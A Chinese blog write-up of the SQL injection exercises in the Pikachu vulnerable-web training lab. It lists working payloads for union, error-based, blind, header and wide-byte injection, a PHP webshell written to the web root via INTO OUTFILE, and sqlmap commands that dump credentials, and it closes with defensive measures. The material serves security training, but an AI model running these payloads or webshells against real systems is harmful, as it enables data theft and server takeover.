Pikachu-SQL注入

搜索型注入                    

构造闭合 like '%xxx%' or 1=1 #%'  payload: xxx%' or 1=1 #

 

 

xx型注入                        

构造闭合 = ('xx') or 1=1 #')  payload: xx') or 1=1 #

 

 

SQL注入手动测试-基于union的信息获取            

union 联合查询:可以通过联合查询来查询指定的数据

用法举例:

select username,password from user where id=1 union select 字段1,字段2 from 表名

联合查询的字段数需要和主查询(第一个select)一致!

联合查询的演示(选择字符型注入get模块)

payload:

先进行字段的猜测(使用二分法)a' order by 5#  a'order by 3#   a'order by 2#

a' union select database(),user()#

a' union select version(),4#  //4的意思是,我们可以自己填一个字段进去。

 

 

information_schema注入                

仍然以字符型注入(get)做下测试

payload:

kobe' order by 3#

kobe' order by 2#    确认为两个字段

kobe' union select database(),user()#  获得数据库名称 pikachu

 

获取表名

kobe' union select table_schema,table_name from information_schema.tables where table_schema='pikachu'#

 

进一步的测试,发现表名user。会不会账号密码在这个表里呢?

获取user表的字段名

kobe' union select table_name,column_name from information_schema.columns where table_name='user'#

kobe' union select username,password from users#  这长度一看就知道密码使用md5加密过的

 

 

 SQL注入手动测试-基于函数报错的信息获取         

●常用的函数updatexml()、extractvalue()、floor()

●基于函数报错的信息获取(select/insert/update/delete)

技巧思路:

  在MYSQL中使用一些指定的函数来制造报错,从而从报错信息中获取设定的信息。

  select/insert/update/delete都可以用来报错来获取信息。

背景条件(前提条件):

  后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端。

基于报错的信息获取-三个常用的用来报错的函数

updatexml():函数是MYSQL对XML文档数据进行查询和修改的XPATH函数。

extractvalue():函数也是MYSQL对XML文档数据进行查询的XPATH函数。

floor():MYSQL中用来取整的函数。

updatexml演示(SQL注入-字符型(get)):

在做基于报错方法获取数据的时候,首先得确定这个点是不是报错型的SQL注入。构造错误语法(单引号之类的)可以看到报错会返回到前端来

payload:(下面的0x7e是~的十六进制,这里也可以用其他符号的十六进制,在这里的作用是保证报错的内容不被吃掉)

kobe' and updatexml(1,concat(0x7e,version()),0)#  1这个表示不存在的,version()为要替换的值,0为要替换的值

kobe' and updatexml(1,concat(0x7e,database()),0)#   这三个参数都是错误的,关键点在于中间的值,这个函数。

 

同样的我们可以把中间这个database()换成我们之前用过的select查询

kobe' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu')),0)#

但显示了这个 报错内容只能一次显示一行,说明updatexml()这个函数报错的时候只能显示一行

 

咋办呢???也很简单无非就是我们多操作几次

下面的limit 0,1 是什么意思呢???把查询出来的所有的数据从第0个位置开始取,步长为1。

kobe' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0)#

得到第一个表的名称,之后的表名称咋办呢???只需把limit 0,1 换成 limit 1,1(limit 2,1)

 

获取表名之后,在获取列名(只需在获取表名的基础上改标记部分就行),思路是一样的

kobe' and updatexml (1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1)),0)#

 

获取到列名称后,再来获取数据(密码是md5编码的,去网页解码下就行):

kobe' and updatexml(1,concat(0x7e,(select username from users limit 0,1)),0)#

kobe' and updatexml(1,concat(0x7e,(select password from users where username='admin' limit 0,1)),0)#

 

 

基于extractvalue()  extractvalue使用起来效果和updatexml是一模一样的

还是在字符型注入(get)

kobe' and extractvalue(0,concat(0x7e,version()))#

 

 

 

基于报错的信息获取-三个常用函数-floor  取整函数

重点:::floor这个函数要构成报错,在它的运算表达式里,必须要下面三个

前面是一个闭合,,and,,表达式(表达式的结果会用a去做一个别名)

kobe' and (select 2 from  (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)#

还是去字符型注入(get)测试下

 

同样的我们可以把这个version()表达式替换成我们想要的,

kobe' and (select 2 from  (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)#

把version()换成  (select password from users where username='admin' limit 0,1)

kobe' and (select 2 from  (select count(*),concat((select password from users where username='admin' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#
替换后

 

 

insert/update注入                    

重点:::  insert/update和delete和我们之前讲的selet不同的地方就在于,我们没法用union做联合查询

因为它不是一个查询,而是一个操作。一般来说要获取数据的话,我们就可以通过报错的方式获取。

 

先去注册个账号,发现账号和密码填写 单引号会语法报错,

 

基于insert下的报错:

xiaoming' or updatexml(1,concat(0x7e,database()),0) or '

也可以用xiaoming' and extractvalue(0,concat(0x7e,version())) or '  (之前讲过了extractvalue和updatexml的原理、效果是一模一样的)

提交

 

 

update下的报错,update部分和insert部分是差不多的,我们先注册好一个账号进去登录,

修改个人信息(修改显然通过update去操作后台数据库),再次使用insert的payload

结果

 

 

 

delete注入                  

基于delete下的报错:

在删除的的时候(没留言可删,现编几个)抓下包,发送给Repeater,id=

1 or updatexml(1,concat(0x7e,database()),0)

也可以用 1 or extractvalue(1,concat(0x7e,database()))  (之前讲过了extractvalue和updatexml的原理、效果是一模一样的)

而我们的参数是以url方式(get请求)提交的,所以我们要对payload做一下url编码(直接利用Burp Suite自带的转换工具)

 Go,完成

extractvalue()

 

 

http header注入                  

什么是Http Header注入呢?

 

开始我们的实验,进入SQL注入的http header模块,点击提示,输入账号密码

 

抓包,把请求发送到Repeater里面去,重点:::这里有2个点可以攻击,一个是User-Agent,一个是cookie

由上图得出后端是对我们前端的User-Agent数据进行获取,它有可能进行相关数据的拼接,我们直接用User-Agent字段做测试

删掉原有的,换成个 单引号试试,发现它把我们的单引号直接放到SQL里面去执行啦,产生啦语法错误

 

payload:  粘贴到U-A(User-Agent)那里,点一下提交

giaogiao' or updatexml(1,concat(0x7e,database()),0) or '

查看下返回

 

另一个注入点!!!

现在直接去Proxy那里重新发送给Repeater,在用户名后面加一个单引号,查看下是否报错,确实报错,存在SQL注入

 payload:  admin' and updatexml(1,concat(0x7e,database()),0)#

admin ' and extractvalue(1,concat(0x7e,database()))#
那你能用extractvalue()完成这项任务么???

 

 

sqli盲注原理及基于boolean盲注案例演示        

●什么是盲注:

  有些情况下,后台使用了错误信息屏蔽(比如@)屏蔽啦报错。此时无法再根据报错信息来进行注入的判断。

这种情况下的注入,称为“盲注”

根据表现形式的不同,盲注又分为based boolean和based time两种类型

 

盲注(base on boollan)          开始我们的实验

不管,我们输入什么,只会显示正常的情况和错误(你输入的username不存在)两种返回

我们再次用之前用过的,基于报错的payload试试

kobe' and extractvalue(0,concat(0x7e,version()))#  发现仍然是返回不存在

 

既然在页面上,只能判断 真假(0,1)两种返回,,那我们就一个一个的猜测后台数据库

kobe' and ascii(substr(database(),1,1))>113#  database第一个字符串的第一个字符>113为假

kobe' and ascii(substr(database(),1,1))=112#  第一个字符为p

kobe' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1 ),1,1))>112#
发现>,不存在,,那试试<

往下就不一 一再演示了。

 

盲注(base on time)          

基于时间的盲注,就是返回除了时间,什么都没有啦。

开始我们的实验

测试的payload和我们上面的基于真假的  原理是一样的

基于时间的延迟payload:

kobe' and if((substr(database(),1,1))='a',sleep(5),null)#  先试试='a' 再试试='p'

 

通过sqli进行服务器的远程控制      

这里有两个要点

●一句话木马

●如何通过into outfile写入恶意代码并控制OS

 

 

那如何将一句话木马写入到SQL注入漏洞中呢?

结合into outfile(把前面的结果写入都后面的文件中)

 

以字符型(get)做为测试目标,需要先将数据库开启 secure_file_priv配置

获取OS权限paylaoad:

kobe' union select "?php @eval($_GET[ 'test' ]) ?>",2 into outfile "/var/www/html/1.php"#

kobe' union select "?php system($_GET['cmd']) ?>",2 into outfile "/var/www/html/2.php"#

也可以执行192.168.43.116/2.php?cmd=ifdoncif  查看下ip地址

还可以通过和一句话木马配套的一些工具,比如说中国菜刀,来简单方便的控制这个服务器。

 

 

通过暴力破解在sqli漏洞中的应用          

之前我们都是通过information_schema数据库来获取信息,很多时候information_schema会被屏蔽掉

也可能遇到的不是MYSQL数据库

在字符型(get)做演示

暴力破解表名和列名称:

kobe' and exists(select * from aa)#

 

 

重新提交下,抓包,发送到Intruder模块里面去

clear,选中破解变量aa,攻击模式Sniper,

 

Payloads模块

 

 

 

 

 Options模块

Start attack(攻击)

 

kobe' and exists(select id from users)#  和上面一模一样,破解变量是id。不一一演示啦

 

 宽字节注入                    

我们输入有单引号时被转义为\'无法构造 SQL 语句的时候,可以尝试宽字节注入。

GBK编码中,反斜杠的编码是 "%5c",而 "%df%5c" 是繁体字 "連"。在皮卡丘平台中,将利用 BurpSuite 截获数据包,发送到 Repeater 中,在里面写入payload,当我们用通常的测试 payload时,是无法执行成功的

因为在后台单引号会被转义,在数据库中执行多了反斜杠,可以使用下面的payload,在单引号前面加上%df,绕过这个WAF。

kobe %df' or 1=1#

 

 

 

sqlmap工具使用入门及案例介绍          

sqlmap的优势:之前我们测盲注的时候不是特别麻烦么? ,这不自动化 工具它来啦

what's sqlmap???一个自动化的用来测试SQL注入和数据库的接管工具。

步骤:

 

 

开始我们的实验,发现它是一个get请求,

第一步:找到对应的输入点,在输入框中输入字符得到url:

把这个url复制下来(http://192.168.43.116/pikachu/vul/sqli/sqli_blind_b.php?name=111&submit=%E6%9F%A5%E8%AF%A2)

 

第二步:判断是否存在漏洞:

sqlmap.py -u "http://192.168.43.116/pikachu/vul/sqli/sqli_blind_b.php?name=111&submit=%E6%9F%A5%E8%AF%A2"

发现name是存在SQL注入的,其它的还很多

 

第三步:得到数据库:

sqlmap.py -u "http://192.168.43.116/pikachu/vul/sqli/sqli_blind_b.php?name=123&submit=%E6%9F%A5%E8%AF%A2" --current-db

 

第四步:得到表名:

sqlmap.py -u "http://192.168.43.116/pikachu/vul/sqli/sqli_blind_b.php?name=123&submit=%E6%9F%A5%E8%AF%A2" -D pikachu --tables

 

第五步:得到字段名:  (拿到列名,发现uername和password)

sqlmap.py -u "http://192.168.43.116/pikachu/vul/sqli/sqli_blind_b.php?name=123&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -T users --columns

 

第六步:拿到数据

sqlmap.py -u "http://192.168.43.116/pikachu/vul/sqli/sqli_blind_b.php?name=123&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -T users -C username,password --dump

 实际上这个使用它已经找到里面的数据啦,但发现里面是加过密的,

 

第七步:用自带的字典对数据破解:

 

得到用户名和密码,sqlmap非常方便而且强大。

 

 

来到我们SQL最后的环节,

SQL漏洞常见的防范措施          

一般来说我们有两个维度,一个是代码层面,一个是网络层面

●代码层面

1、对输入进行严格的转义和过滤

2、使用预处理和参数化(Parameterized)

而1的比不是很好,因为SQL一更新出来新的特殊字符,会失效,

推荐的做法是2:使用PDO的prepare预处理,它是以索引数组得方式传进去,而不是拼接,就成功防止啦注入

●网络层面

1、通过WAF设备启用防SQL-Inject注入策略(或类似防护系统)

 

2、云端防护(360网站卫士,阿里云盾等)

 

 

posted @ 2020-04-03 23:47  escwq  阅读(432)  评论(0编辑  收藏  举报